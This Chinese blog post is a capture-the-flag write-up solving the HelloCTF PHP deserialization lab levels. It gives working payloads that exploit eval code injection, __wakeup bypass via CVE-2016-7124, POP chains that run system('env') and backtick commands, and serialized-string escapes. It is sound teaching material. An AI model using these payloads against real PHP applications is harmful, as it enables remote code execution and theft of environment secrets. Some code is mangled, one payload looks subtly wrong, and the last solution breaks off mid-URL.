当前位置: 首页 > article >正文

HELLOCTF反序列化靶场全解

level 2

<?php/*
--- HelloCTF - 反序列化靶场 关卡 2 : 类值的传递 --- HINT:尝试将flag传递出来~# -*- coding: utf-8 -*-
# @Author: 探姬
# @Date:   2024-07-01 20:30
# @Repo:   github.com/ProbiusOfficial/PHPSerialize-labs
# @email:  admin@hello-ctf.com
# @link:   hello-ctf.com*/error_reporting(0);$flag_string = "NSSCTF{????}";class FLAG{public $free_flag = "???";function get_free_flag(){echo $this->free_flag;}}
$target = new FLAG();$code = $_POST['code'];if(isset($code)){eval($code);$target->get_free_flag();
}
else{highlight_file('source');
}

从上往下 可控点位于$code = $_POST['code'];flag位于$flag_string根据代码可以修改class中的$free_flag值为$flag_string

code=$target->$free_flag = $flag_string;

level3

<?php/*
--- HelloCTF - 反序列化靶场 关卡 3 : 对象中值的权限 --- HINT:尝试将flag传递出来~# -*- coding: utf-8 -*-
# @Author: 探姬
# @Date:   2024-07-01 20:30
# @Repo:   github.com/ProbiusOfficial/PHPSerialize-labs
# @email:  admin@hello-ctf.com
# @link:   hello-ctf.com*/class FLAG{public $public_flag = "NSSCTF{?";protected $protected_flag = "?";private $private_flag = "?}";function get_protected_flag(){return $this->protected_flag;}function get_private_flag(){return $this->private_flag;}
}class SubFLAG extends FLAG{function show_protected_flag(){return $this->protected_flag;}function show_private_flag(){return $this->private_flag;}
}$target = new FLAG();
$sub_target = new SubFLAG();$code = $_POST['code'];if(isset($code)){eval($code);
} else {highlight_file(__FILE__);echo "Trying to get FLAG...<br>";echo "Public Flag: ".$target->public_flag."<br>";echo "Protected Flag:".$target->protected_flag ."<br>";echo "Private Flag:".$target->private_flag ."<br>";
}?>

关键点位于

public $public_flag = "NSSCTF{?";protected $protected_flag = "?";private $private_flag = "?}";class SubFLAG extends FLAG

其中用到了三个修饰符public protected private分别代表

  • public(公有): 公有的类成员可以在任何地方被访问。
  • protected(受保护): 受保护的类成员则可以被其自身以及其子类和父类访问。(可继承)
  • private(私有): 私有的类成员则只能被其定义所在的类访问。(不可继承)

效果就是当我们尝试通过继承类访问private成员变量时候是无法访问的

而protected是可以访问的

code=echo $target->public_flag.$target->get_protected_flag().$target->get_private_flag();

level4

<?php/*
--- HelloCTF - 反序列化靶场 关卡 4 : 序列化 --- HINT:嗯!?全是私有,怎么获取flag呢?试试序列化!# -*- coding: utf-8 -*-
# @Author: 探姬
# @Date:   2024-07-01 20:30
# @Repo:   github.com/ProbiusOfficial/PHPSerialize-labs
# @email:  admin@hello-ctf.com
# @link:   hello-ctf.com*/class FLAG3{private $flag3_object_array = array("?","?");
}class FLAG{private $flag1_string = "?";private $flag2_number = '?';private $flag3_object;function __construct() {$this->flag3_object = new FLAG3();}
}$flag_is_here = new FLAG();$code = $_POST['code'];if(isset($code)){eval($code);
} else {highlight_file(__FILE__);
}

观察代码,在输入之前就已经完成了对象的创建$flag_is_here = new FLAG();观察所创建对象都是私有类型,其中`__construct()创建了FLAG3()的对象,但其中也是私有量

解题可以通过序列化后将所有数据带出来

echo serialize($flag_is_here);
O:4:"FLAG":3:{s:18:"FLAGflag1_string";s:8:"ser4l1ze";s:18:"FLAGflag2_number";i:2;s:18:"FLAGflag3_object";O:5:"FLAG3":1:{s:25:"FLAG3flag3_object_array";a:2:{i:0;s:3:"se3";i:1;s:2:"me";}}}
NSSCTF{ser4l1ze2se3me}

level5

考察常规值的序列化了解

<?php/*
--- HelloCTF - 反序列化靶场 关卡 5 : 序列化规则 --- HINT:各有千秋~# -*- coding: utf-8 -*-
# @Author: 探姬
# @Date:   2024-07-01 20:30
# @Repo:   github.com/ProbiusOfficial/PHPSerialize-labs
# @email:  admin@hello-ctf.com
# @link:   hello-ctf.com*/class a_class{public $a_value = "NSSCTF";
}
$a_object = new a_class();
$a_array = array(a=>"Hello",b=>"CTF");
$a_string = "NSSCTF";
$a_number = 678470;
$a_boolean = true;
$a_null = null;See How to serialize:
a_object: O:7:"a_class":1:{s:7:"a_value";s:6:"NSSCTF";}
a_array: a:2:{s:1:"a";s:5:"Hello";s:1:"b";s:3:"CTF";}
a_string: s:6:"NSSCTF";
a_number: i:678470;
a_boolean: b:1;
a_null: N;
Now your turn!
<?php$your_object = unserialize($_POST['o']);
$your_array = unserialize($_POST['a']);
$your_string = unserialize($_POST['s']);
$your_number = unserialize($_POST['i']);
$your_boolean = unserialize($_POST['b']);
$your_NULL = unserialize($_POST['n']);if($your_boolean && $your_NULL == null &&$your_string == "IWANT" &&$your_number == 1 &&$your_object->a_value == "FLAG" &&$your_array['a'] == "Plz" && $your_array['b'] == "Give_M3"
){echo $flag;
}
else{echo "You really know how to serialize?";
}You really know how to serialize?

注意到下面的if判断,内容通过反序列化函数输入

不仅class,普通数值也可进行序列化

<?php
class a_class{public $a_value = "FLAG";
}
$a_object = new a_class();
$a_array= array("a"=>"Plz","b"=>"Give_M3");
$a_string = "IWANT";
$a_number = 1;
$a_boolean = true;
$a_null = null;//echo serialize($a_object);
//echo serialize($a_array);
//echo serialize($a_string);
//echo serialize($a_number);
//echo serialize($a_boolean);
//echo serialize($a_null);$exp = "o=".serialize($a_object)."&a=".serialize($a_array)."&s=".serialize($a_string)."&i=".serialize($a_number)."&b=".serialize($a_boolean)."&n=".serialize($a_null);
echo $exp;
o=O:7:"a_class":1:{s:7:"a_value";s:4:"FLAG";}&a=a:2:{s:1:"a";s:3:"Plz";s:1:"b";s:7:"Give_M3";}&s=s:5:"IWANT";&i=i:1;&b=b:1;&n=N;

level 6

考察权限修饰的序列化表现

<?php/*
--- HelloCTF - 反序列化靶场 关卡 6 : 序列化规则_权限修饰 --- HINT:各有千秋~特别注意的权限修饰符x# -*- coding: utf-8 -*-
# @Author: 探姬
# @Date:   2024-07-01 20:30
# @Repo:   github.com/ProbiusOfficial/PHPSerialize-labs
# @email:  admin@hello-ctf.com
# @link:   hello-ctf.com*/class protectedKEY{protected $protected_key;function get_key(){return $this->protected_key;}
}class privateKEY{private $private_key;function get_key(){return $this->private_key;}}
$protected_key = unserialize($_POST['protected_key']);
$private_key = unserialize($_POST['private_key']);if(isset($protected_key)&&isset($private_key)){if($protected_key->get_key() == "protected_key" && $private_key->get_key() == "private_key"){echo $flag;} else {echo "We Call it %00_Contr0l_Characters_NULL!";}
} else {highlight_file(__FILE__);
}

不难看出来来需要通过传入序列化参数 触发if判断,一个是私有参数一个是保护参数,他们的序列化内容都会有不可见字符,所以需要对他们进行urlencode来完成防止字符丢失

<?phpclass protectedKEY{protected $protected_key="protected_key";function get_key(){return $this->protected_key;}
}class privateKEY{private $private_key="private_key";function get_key(){return $this->private_key;}}$x = new protectedKEY();
$y = new privateKEY();
echo "protected_key=".urlencode(serialize($x))."&private_key=".urlencode(serialize($y));

level7

基础反序列化漏洞

<?php/*
--- HelloCTF - 反序列化靶场 关卡 7 : 实例化和反序列化 --- HINT:可控的输入 简单的漏洞演示 / FLAG in flag.php# -*- coding: utf-8 -*-
# @Author: 探姬(@ProbiusOfficial)
# @Date:   2024-07-01 20:30
# @Repo:   github.com/ProbiusOfficial/PHPSerialize-labs
# @email:  admin@hello-ctf.com
# @link:   hello-ctf.com*/class FLAG{public $flag_command = "echo 'Hello CTF!<br>';";function backdoor(){eval($this->flag_command);}
}$unserialize_string = 'O:4:"FLAG":1:{s:12:"flag_command";s:24:"echo 'Hello World!<br>';";}';$Instantiate_object = new FLAG(); // 实例化的对象$Unserialize_object = unserialize($unserialize_string); // 反序列化的对象$Instantiate_object->backdoor();$Unserialize_object->backdoor();<?php /* Now Your Turn */
unserialize($_POST['o'])->backdoor();

level 8

这里考察了构造函数 __construct()和 析构函数 __destruct()的使用

<?phpclass RELFLAG {public function __construct(){global $flag;$flag = 0;$flag++;echo "Constructor called " . $flag . "<br>";}public function __destruct(){global $flag;$flag++;echo "Destructor called " . $flag . "<br>";}
}function check(){global $flag;if($flag > 5){echo "HelloCTF{???}";}else{echo "Check Detected flag is ". $flag;}
}if (isset($_POST['code'])) {eval($_POST['code']);check();
}

构造函数仅会在对象实例化的时候被调用——反序列化的创建过程则不会触发,也就是new的时候,解析函数则是会在对象被回收时候触发,例如手动回收的unset函数,或者自动回收

由此 可构建一个payload

unserialize(serialize(unserialize(serialize(unserialize(serialize(unserialize(serialize(new RELFLAG()))))))));

level 9

常规

<?php
/*
--- HelloCTF - 反序列化靶场 关卡 9 : 构造函数的后门 --- HINT:似曾相识# -*- coding: utf-8 -*-
# @Author: 探姬(@ProbiusOfficial)
# @Date:   2024-07-01 20:30
# @Repo:   github.com/ProbiusOfficial/PHPSerialize-labs
# @email:  admin@hello-ctf.com
# @link:   hello-ctf.com*/class FLAG {var $flag_command = "echo 'HelloCTF';";public function __destruct(){eval ($this->flag_command);}
}unserialize($_POST['o']);

不常规的是system函数无法使用,所以需要使用``来完成命令的执行,在php中反引号的功能就是类似shell_exec,将字符串作为命令执行后返回

由此可得payload

class FLAG {var $flag_command = "echo `env`;";
}echo urlencode(serialize(new FLAG()));

level 10

第一个魔法函数__wakeup()

<?php/*
--- HelloCTF - 反序列化靶场 关卡 10 : weakup! --- unserialize() 会检查是否存在一个 __wakeup() 方法。如果存在,则会先调用 __wakeup 方法,预先准备对象需要的资源。
除开构造和析构函数,这应该是你第一个真正意义上开始接触的魔术方法,此后每一个魔术方法对应的题目我都会在这里介绍。
当然你也可以直接查阅PHP官网文档 - 魔术方法部分:https://www.php.net/manual/zh/language.oop5.magic.php# -*- coding: utf-8 -*-
# @Author: 探姬(@ProbiusOfficial)
# @Date:   2024-07-01 20:30
# @Repo:   github.com/ProbiusOfficial/PHPSerialize-labs
# @email:  admin@hello-ctf.com
# @link:   hello-ctf.com*/error_reporting(0);class FLAG{function __wakeup() {include 'flag.php';echo $flag;}
}if(isset($_POST['o']))
{unserialize($_POST['o']);
}else {highlight_file(__FILE__);
}
?>

其实题目已经说的非常清楚了__wakeup()作为一个魔术方法,他的作用是在反序列化前完成运行,那么只需要传入一个序列化内容就好,里面甚至不需要有东西

class FLAG{function __wakeup() {include 'flag.php';echo $flag;}
}echo serialize(new FLAG());

level 11

老漏洞,但是在ctf还是会常出现

<?php/*
--- HelloCTF - 反序列化靶场 关卡 11 : Bypass weakup! --- CVE-2016-7124 - PHP5 < 5.6.25 / PHP7 < 7.0.10
在该漏洞中,当序列化字符串中对象属性的值大于真实属性值时便会跳过__wakeup的执行。# -*- coding: utf-8 -*-
# @Author: 探姬(@ProbiusOfficial)
# @Date:   2024-07-01 20:30
# @Repo:   github.com/ProbiusOfficial/PHPSerialize-labs
# @email:  admin@hello-ctf.com
# @link:   hello-ctf.com*/error_reporting(0);include 'flag.php';class FLAG {public $flag = "FAKEFLAG";public function  __wakeup(){global $flag;$flag = NULL;}public function __destruct(){global $flag;if ($flag !== NULL) {echo $flag;}else{echo "sorry,flag is gone!";}}
}if(isset($_POST['o']))
{unserialize($_POST['o']);
}else {highlight_file(__FILE__);phpinfo();
}?>

不难注意到这里要获得flag需要$flag !== NULL但是在__wakeup()中设置了flag = NULL所以需要使用其他的方法

CVE-2016-7124的作用是,当序列化内容中对象属性的值大于真实属性值时便会跳过__wakeup的执行,那么我们只需要构造一个非标准序列化内容

O:4:"FLAG":1:{s:4:"flag";s:8:"fuckflag";} >> O:4:"FLAG":1:{s:4:"flag";s:9:"fuckflag";}

即可

level 12

真有意思

<?php/*
--- HelloCTF - 反序列化靶场 关卡 12 : sleep! ---年轻就是好啊,倒头就睡。serialize() 函数会检查类中是否存在一个魔术方法 __sleep()。如果存在,该方法会先被调用,然后才执行序列化操作。
该方法必须返回一个数组: return array('属性1', '属性2', '属性3') / return ['属性1', '属性2', '属性3']。
数组中的属性名将决定哪些变量将被序列化,当属性被 static 修饰时,无论有无都无法序列化该属性。
如果需要返回父类中的私有属性,需要使用序列化中的特殊格式 - %00父类名称%00变量名
(也就是 "\0FLAG\0f" 的写法)。如果该方法未返回任何内容,序列化会被制空,并产生一个 E_NOTICE 级别的错误。
*/class FLAG {private $f;       // 私有属性 f,只能在本类中访问private $l;       // 私有属性 l,只能在本类中访问protected $a;     // 受保护属性 a,本类和子类可访问public  $g;       // 公有属性 g,任何地方都可访问public $x,$y,$z;  // 公有属性 x、y、z// 魔术方法 __sleep() 会在调用 serialize($object) 前被自动执行public function __sleep() {// 只返回 x, y, z 这三个属性名// 序列化后,结果中只包含这三个属性的内容return ['x','y','z'];}
}class CHALLENGE extends FLAG {// 子类定义了 8 个公有属性// 注意这里 $f 虽然同名,但和父类的 private $f 是不同的作用域public $h,$e,$l,$I,$o,$c,$t,$f;// 定义一个方法 chance(),返回 $_GET['chance'] 参数值function chance() {return $_GET['chance'];  // 若 URL 带 ?chance=xxx,则返回 xxx}// 子类重写了 (override) 父类的 __sleep()public function __sleep() {/*注释:FLAG is $h + $e + $l + $I + $o + $c + $t + $f + $f + $l + $a + $g看起来是想暗示这些属性拼在一起就是“FLAG”。*/// 这里定义了一个属性名数组$array_list = ['h','e','l','I','o','c','t','f','f','l','a','g'];// array_rand($array_list) 从数组中随机返回一个键$_ = array_rand($array_list);$__ = array_rand($array_list);// 返回 3 个属性名://  1) $array_list[$_]  -> 第一次随机选择的属性名//  2) $array_list[$__] -> 第二次随机选择的属性名//  3) $this->chance()  -> 从 $_GET['chance'] 来的字符串return array($array_list[$_], $array_list[$__], $this->chance());}}// 实例化 FLAG 类
$FLAG = new FLAG();// 序列化 $FLAG 对象
// 因为 FLAG 类的 __sleep() 返回 [x,y,z]
// 最终只会序列化 x,y,z 这三个属性(且若没赋值,默认为 null)
echo serialize($FLAG);// 序列化一个新的 CHALLENGE 对象
// 调用 CHALLENGE::__sleep(),会随机拿 array_list 中两个属性名,
// 再把 ?chance=xxx 里的 xxx 也当作一个属性名一起序列化
echo serialize(new CHALLENGE());

原题代码注解了下

这题主要演示的是__sleep()逐个魔术函数,在序列化内容的时候如果存在这个函数他就会先被调用

一样的做题先看可控点,可控点位于子类的chance()方法中,跟踪这个方法到了array($array_list[$_], $array_list[$__], $this->chance());而这个语句位于子类的__sleep()中下面的serialize(new CHALLENGE());之前他会先被执行,所以如果我们想拿到父类中的private属性,就可以使用%00FLAG%00f来传入,在序列化中其会被解读分析成父类的属性变量,在序列化内容中显示

为什么会显示:因为sleep必须返回数组,而数组中的属性名将决定哪些变量将被序列化

O:9:"CHALLENGE":3:{s:1:"f";s:3:"t0_";s:1:"l";s:17:"__sleep_function_";s:7:"FLAGf";s:6:"clean_";}

所以,我们即可以通过控制序列化内容的方式获取我们需要的内容

NSSCTF{Th3___sleep_function__is_called_before_serialization_t0_clean_up_4nd_select_variab1es}

level 13

toString()

<?php/*
--- HelloCTF - 反序列化靶场 关卡 13 __toString()  --- __toString() 方法用于一个类被当成字符串时应怎样回应。例如 echo $obj; 应该显示些什么。# -*- coding: utf-8 -*-
# @Author: 探姬(@ProbiusOfficial)
# @Date:   2024-07-01 20:30
# @Repo:   github.com/ProbiusOfficial/PHPSerialize-labs
# @email:  admin@hello-ctf.com
# @link:   hello-ctf.com*/class FLAG {function __toString() {echo "I'm a string ~~~";include 'flag.php';return $flag;}
}$obj = new FLAG();if(isset($_POST['o'])) {eval($_POST['o']);
} else {highlight_file(__FILE__);
}

一般情况下echo无法直接输出一个对象,而通过toString()函数则可以实现

当尝试使用echo输出一个对象的时候,其会尝试检查对象是否定义了一个toString(),如果没有定义则直接返回一个错误

方法没有参数,也不传递参数,但该方法必须返回字符串

level 14

<?php/*
--- HelloCTF - 反序列化靶场 关卡 14 : __invoke() --- 当尝试以调用函数的方式调用一个对象时,__invoke() 方法会被自动调用。例如 $obj()。# -*- coding: utf-8 -*-
# @Author: 探姬(@ProbiusOfficial)
# @Date:   2024-07-01 20:30
# @Repo:   github.com/ProbiusOfficial/PHPSerialize-labs
# @email:  admin@hello-ctf.com
# @link:   hello-ctf.com*/class FLAG{function __invoke($x) {if ($x == 'get_flag') {include 'flag.php';echo $flag;}}
}$obj = new FLAG();if(isset($_POST['o'])) {eval($_POST['o']);
} else {highlight_file(__FILE__);
}

简单来说就是__invoke() 会在将一个对象当作一个方法来使用时会自动调用

payload:

o=echo $obj('get_flag');

Level15-POP链前置

代码

<?php/*
--- HelloCTF - 反序列化靶场 关卡 15 : POP链初步 --- 世界的本质其实就是套娃(x# -*- coding: utf-8 -*-
# @Author: 探姬(@ProbiusOfficial)
# @Date:   2024-07-01 20:30
# @Repo:   github.com/ProbiusOfficial/PHPSerialize-labs
# @email:  admin@hello-ctf.com
# @link:   hello-ctf.com*//* FLAG in flag.php */class A {public $a;public function __construct($a) {$this->a = $a;}
}
class B {public $b;public function __construct($b) {$this->b = $b;}
}
class C {public $c;public function __construct($c) {$this->c = $c;}
}class D {public $d;public function __construct($d) {$this->d = $d;}public function __wakeUp() {$this->d->action();}
}class destnation {var $cmd;public function __construct($cmd) {$this->cmd = $cmd;}public function action(){eval($this->cmd->a->b->c);}
}if(isset($_POST['o'])) {unserialize($_POST['o']);
} else {highlight_file(__FILE__);
}

注意到终点的需求eval($this->cmd->a->b->c);cmd中的a中的b中的c需要是payload,又注意到action()函数的调用位于D类

那么可以得到payload

$C = new C("system('env');");
$B = new B($C);
$A = new A($B);
$destnation = new destnation($A);
$D = new d($destnation);echo serialize($D);
O:1:"D":1:{s:1:"d";O:10:"destnation":1:{s:3:"cmd";O:1:"A":1:{s:1:"a";O:1:"B":1:{s:1:"b";O:1:"C":1:{s:1:"c";s:14:"system('env');";}}}}}
<?php/*
--- HelloCTF - 反序列化靶场 关卡 16 : zePOP--- __wakeUp() 方法用于反序列化时自动调用。例如 unserialize()。
__invoke() 方法用于一个对象被当成函数时应该如何回应。例如 $obj() 应该显示些什么。
__toString() 方法用于一个类被当成字符串时应怎样回应。例如 echo $obj; 应该显示些什么。试着把他们串起来吧ww# -*- coding: utf-8 -*-
# @Author: 探姬(@ProbiusOfficial)
# @Date:   2024-07-01 20:30
# @Repo:   github.com/ProbiusOfficial/PHPSerialize-labs
# @email:  admin@hello-ctf.com
# @link:   hello-ctf.com*/class A {public $a;public function __invoke() {include $this->a;return $flag;}
}class B {public $b;public function __toString() {$f = $this->b;return $f();}
}class INIT {public $name;public function __wakeUp() {echo $this->name.' is awake!';}
}if(isset($_POST['o'])) {unserialize($_POST['o']);
} else {highlight_file(__FILE__);
}

这题涉及了三个函数__wakeUp() __invoke() __toString()

先找终点 终点是class A 这里返回了flag,不难发现需要引入flag.php——且这里使用了invoke()函数,他的作用是当对象被作为函数调用时候的返回flag,满足这个逻辑的对象是B,那么只需要将A传入B再将B传入init即可

payload

class A {public $a = 'flag.php'; # 修改 使得include导入flag.phppublic function __invoke() { # 终点include $this->a;return $flag;}
}class B {public $b;public function __toString() {$f = $this->b;return $f(); #返回了函数调用 让f指向class A}
}class INIT {public $name;public function __wakeUp() { # 入口 方法用于反序列化时自动调用echo $this->name.' is awake!';}
}
$a = new A;
$b = new B;
$init = new INIT;
$b -> b = $a;
$init->name = $b;
echo serialize($init);
O:4:"INIT":1:{s:4:"name";O:1:"B":1:{s:1:"b";O:1:"A":1:{s:1:"a";s:8:"flag.php";}}}

level 17

无中生有

/*
--- HelloCTF - 反序列化靶场 关卡 17 : 字符串逃逸基础 --- 序列化和反序列化的规则特性_无中生有:当成员属性的实际数量符合序列化字符串中对应属性值时,似乎不会做任何检查?# -*- coding: utf-8 -*-
# @Author: 探姬(@ProbiusOfficial)
# @Date:   2024-07-01 20:30
# @Repo:   github.com/ProbiusOfficial/PHPSerialize-labs
# @email:  admin@hello-ctf.com
# @link:   hello-ctf.com*/class A {}
echo "Class A is NULL: '".serialize(new A())."'<br>";class B {public $a = "Hello";protected $b = "CTF";private $c = "FLAG{TEST}";
}
echo "Class B is a class with 3 properties: '".serialize(new B())."'<br>";$serliseString = serialize(new B());$serliseString = str_replace('B', 'A', $serliseString);echo "After replace B with A,we unserialize it and dump :<br>";
var_dump(unserialize($serliseString));if(isset($_POST['o'])) {$a = unserialize($_POST['o']);if ($a instanceof A && $a->helloctfcmd == "get_flag") {include 'flag.php';echo $flag;} else {echo "what's rule?";}
} else {highlight_file(__FILE__);
}

极端情况下,在一个完全空白的序列化对象中,反序列化的字符串包含了内容,则反序列化后的对象则会包含这些属性

payload:

class A{public $helloctfcmd = "get_flag";
}

level 18

字符串逃逸2

<?php/*
--- HelloCTF - 反序列化靶场 关卡 18 : 字符串逃逸基础 --- 序列化和反序列化的规则特性,字符串尾部判定:进行反序列化时,当成员属性的数量,名称长度,内容长度均一致时,程序会以 ";}" 作为字符串的结尾判定。# -*- coding: utf-8 -*-
# @Author: 探姬(@ProbiusOfficial)
# @Date:   2024-07-01 20:30
# @Repo:   github.com/ProbiusOfficial/PHPSerialize-labs
# @email:  admin@hello-ctf.com
# @link:   hello-ctf.com*/highlight_file(__FILE__);class Demo {public $a = "Hello";public $b = "CTF";public $key = 'GET_FLAG";}FAKE_FLAG';
}class FLAG {}$serliseStringDemo = serialize(new Demo());$target = $_GET['target'];
$change = $_GET['change'];$serliseStringFLAG = str_replace($target, $change, $serliseStringDemo);$FLAG = unserialize($serliseStringFLAG);if ($FLAG instanceof FLAG && $FLAG->key == 'GET_FLAG') {echo $flag;
}

这道题的关键点位于str_replace函数 我看可以控制Demo()反序列化后的结果,判断点的要求是令对象FLAG中的key等于GET_FLAG

'O:4:"Demo":3:{s:1:"a";s:5:"Hello";s:1:"b";s:3:"CTF";s:3:"key";s:20:"GET_FLAG";}FAKE_FLAG";}'

反序列化的内容如上,需要做的就是替换掉Demo与GET_FLAG";}FAKE_FLAG,如此可以传入数组替换,将20替换为8压缩空间,将Demo替换为FLAG

http://node1.anna.nssctf.cn:28034/Level18/index.php?target[]=Demo&target[]=20&change[]=FLAG&change[

相关文章:

HELLOCTF反序列化靶场全解

level 2 <?php/* --- HelloCTF - 反序列化靶场 关卡 2 : 类值的传递 --- HINT&#xff1a;尝试将flag传递出来~# -*- coding: utf-8 -*- # Author: 探姬 # Date: 2024-07-01 20:30 # Repo: github.com/ProbiusOfficial/PHPSerialize-labs # email: adminhello-ctf.com…...

Spring Boot 自动装配机制深度解析

在 Java 开发领域&#xff0c;Spring Boot 以其强大的功能和便捷的开发体验受到广大开发者的青睐。其中&#xff0c;自动装配机制是 Spring Boot 的核心特性之一&#xff0c;它极大地简化了 Spring 应用的开发过程&#xff0c;让开发者能够专注于业务逻辑的实现。本文将深入剖析…...

echarts中x轴、y轴 类目自定义换行

在echarts中可能因为某项的名字过长想要换行展示&#xff0c;就可以在 axisLabel 属性中自定义换行, 如以下案例在y轴上换行展示&#xff08;&#xff09; yAxis:[ axisLabel: { formatter: function(value) { var ret // 拼接加 \n 返回的类目项 var maxLength 6 // 每…...

禅道社区版项目管理软件部署(记录篇)

系统要求&#xff08;这里推荐使用docker容器化方式&#xff09;安装前的准备Docker快速安装最后通过查看地址验证是否部署成功开始界面化安装配置 禅道&#xff08;ZenTao&#xff09;是一款国产开源的项目管理软件&#xff0c;专注于敏捷开发流程&#xff0c;支持 Scrum 和 K…...

探索C语言简易计算器程序的实现与优化

在C语言编程学习中&#xff0c;实现一个简易计算器是一个常见且有趣的练习项目。它不仅能帮助我们巩固基本的语法知识&#xff0c;如函数、循环、分支结构&#xff0c;还能让我们深入理解程序设计的逻辑。接下来&#xff0c;我们将分析三段实现简易计算器功能的C语言代码&#…...

时间序列分析(一)——基础概念篇

一、时间序列的相关概念 定义&#xff1a;时间序列是按时间顺序排列的一系列观测值&#xff0c;通常以固定间隔&#xff08;如秒、天、年&#xff09;记录。而时间序列分析是一种研究按时间顺序排列的数据点的统计方法&#xff0c;发现趋势、季节性波动、周期性和异常等模式&a…...

Python因为网络原因安装依赖库报错

现象 在终端运行以下指令 pip install pyautogui pillow keyboard 出现报错&#xff0c;终端信息如下&#xff1a; PS D:\code\Python> pip install pyautogui pillow keyboard Collecting pyautoguiUsing cached PyAutoGUI-0.9.54.tar.gz (61 kB)Installing build depe…...

【Redis】主从模式,哨兵,集群

主从复制 单点问题&#xff1a; 在分布式系统中&#xff0c;如果某个服务器程序&#xff0c;只有一个节点&#xff08;也就是一个物理服务器&#xff09;来部署这个服务器程序的话&#xff0c;那么可能会出现以下问题&#xff1a; 1.可用性问题&#xff1a;如果这个机器挂了…...

DockerFile详细学习

目录 1.DockerFile介绍 2.DockerFile常用指令 3.指令详细讲解 4.实例 构建Node-Exporter 构建Alertmanager 构建Mariadb 1.DockerFile介绍 什么是 Dockerfile&#xff1f; Dockerfile 是一个文本文件&#xff0c;包含了构建 Docker 镜像的所有指令。 Dockerfile 是一…...

寒假2.5

题解 web:[网鼎杯 2020 朱雀组]phpweb 打开网址&#xff0c;一直在刷新&#xff0c;并有一段警告 翻译一下 查看源码 每隔五秒钟将会提交一次form1&#xff0c;index.php用post方式提交了两个参数func和p&#xff0c;func的值为date&#xff0c;p的值为Y-m-d h:i:s a 执行fu…...

Temperature、Top-P、Top-K、Frequency Penalty详解

在生成式AI&#xff08;比如ChatGPT&#xff09;中&#xff0c;Temperature、Top-P、Top-K、Frequency Penalty 这些参数用于控制文本生成的多样性、随机性和重复度&#xff0c;它们的作用如下&#xff1a; 1. Temperature&#xff08;温度&#xff09; 作用&#xff1a;控制输…...

【大数据技术】编写Python代码实现词频统计(python+hadoop+mapreduce+yarn)

编写Python代码实现词频统计(python+hadoop+mapreduce+yarn) 搭建完全分布式高可用大数据集群(VMware+CentOS+FinalShell) 搭建完全分布式高可用大数据集群(Hadoop+MapReduce+Yarn) 本机PyCharm连接CentOS虚拟机 在阅读本文前,请确保已经阅读过以上三篇文章,成功搭建了…...

中国销冠,比亚迪1月销量超30万台,出口量飙升83%

近日&#xff0c;比亚迪公布的 1 月销量数据成为了汽车行业热议的焦点&#xff0c;比亚迪凭借 300538 辆的销量成绩&#xff0c;进一步巩固了其在新能源汽车市场的统治力&#xff0c;再次稳坐中国品牌汽车市场销冠宝座。 在 1 月的销售数据中&#xff0c;比亚迪王朝丨海洋系列无…...

App拉新、推广

任推邦 https://www.bilibili.com/video/BV1qD2qY4E7D u客直谈 https://space.bilibili.com/1817283205...

大数据sql查询速度慢有哪些原因

1.索引问题 可能缺少索引&#xff0c;也有可能是索引不生效 2.连接数配置&#xff1a;连接数过少/连接池比较小 连接数过 3.sql本身有问题&#xff0c;响应比较慢&#xff0c;比如多表 4.缓存池大小 可能是缓存问题&#xff08;命中率>99%&#xff09; 5.加了锁 6. redis&a…...

2 fastAPI请求参数

1. 路径参数 (Path Parameters) 路径参数是 URL 路径的一部分&#xff0c;通常用于标识资源的唯一性。路径参数在 FastAPI 中通过在路由装饰器中使用大括号 {} 来定义。 获取路径参数的方式 from fastapi import FastAPIapp FastAPI()app.get("/items/{item_id}"…...

为何实现大语言模型的高效推理以及充分释放 AI 芯片的计算能力对于企业级落地应用来说,被认为具备显著的研究价值与重要意义?

&#x1f349; CSDN 叶庭云&#xff1a;https://yetingyun.blog.csdn.net/ AI 芯片&#xff1a;为人工智能而生的 “大脑” AI 芯片&#xff0c;又称人工智能加速器或计算卡&#xff0c;是专为加速人工智能应用&#xff0c;特别是深度学习任务设计的专用集成电路&#xff08;A…...

Spring容器初始化扩展点:ApplicationContextInitializer

目录 一、什么是ApplicationContextInitializer&#xff1f;1、核心作用2、适用场景 二、ApplicationContextInitializer的使用方式1、实现ApplicationContextInitializer接口2、注册初始化器 三、ApplicationContextInitializer的执行时机四、实际应用案例1、动态设置环境变量…...

树欲静而凤不止

我不知道为什么要求一定要在抖音上举办婚礼&#xff1f;觉得唯一的一个作用&#xff0c;财力的体现。 做到了&#xff0c;就见了。让我觉得就像买见面一样。 见了不合适&#xff0c;该当如何&#xff1f; 这个对于认真找对象&#xff0c;真的很重要吗&#xff1f; 分钱给平台&…...

C++11详解(二) -- 引用折叠和完美转发

文章目录 2. 右值引用和移动语义2.6 类型分类&#xff08;实践中没什么用&#xff09;2.7 引用折叠2.8 完美转发2.9 引用折叠和完美转发的实例 2. 右值引用和移动语义 2.6 类型分类&#xff08;实践中没什么用&#xff09; C11以后&#xff0c;进一步对类型进行了划分&#x…...

AI 编程工具—Cursor 进阶篇 文章改写生成整理爬取

AI 编程工具—Cursor 进阶篇 文章改写生成整理爬取 其实对做自媒体的人而言,整理素材其实是一件非常耗时的事情,今天我们来看一下如何使用Cursor来帮我们解决这些问题,首先我们要建一个单独的项目,因为这个项目不涉及任何代码操作,只是文字相关的事情,还有就是这个项目需…...

Yageo国巨的RC系列0402封装1%电阻库来了

工作使用Cadence多年&#xff0c;很多时候麻烦的就是整理BOM&#xff0c;因为设计原理图的时候图省事&#xff0c;可能只修改value值和封装。 但是厂家&#xff0c;规格型号&#xff0c;物料描述等属性需要在最后的时候一行一行的修改&#xff0c;繁琐又容易出错&#xff0c;过…...

Linux系统安装Nginx详解(适用于CentOS 7)

目录 1. 更新系统包 2. 安装EPEL仓库 3. 安装Nginx 4. 启动Nginx服务 5. 设置Nginx开机自启 6. 检查Nginx状态 7. 配置防火墙 8. 访问Nginx默认页面 9. 配置Nginx&#xff08;可选&#xff09; 10. 重启Nginx 解决步骤 1. 检查系统版本 2. 移除错误的 Nginx 仓库 …...

Vue3 组件通信汇总

目录 1、常见通信方式汇总&#xff1a;2、常用组件通信方式说明2.1 【props】2.2【自定义事件】2.3 【v-model】2.4 【$attrs 】2.5 【\$refs、\$parent】2.6 【provide、inject】 1、常见通信方式汇总&#xff1a; Vue3组件通信和Vue2的区别&#xff1a; 移出事件总线&#…...

nginx伪静态配置解释和Nginx 常见的配置

文章目录 禁止访问 runtime 和 application 目录rewrite 对 URL 进行重写或重定向301重定向root 静态资源路径处理alias 路径映射try_files 伪静态规则Nginx 配置有许多其他常见的场景和使用方式 1. **基本的反向代理配置**2. **负载均衡配置**3. **限制访问&#xff08;IP 限…...

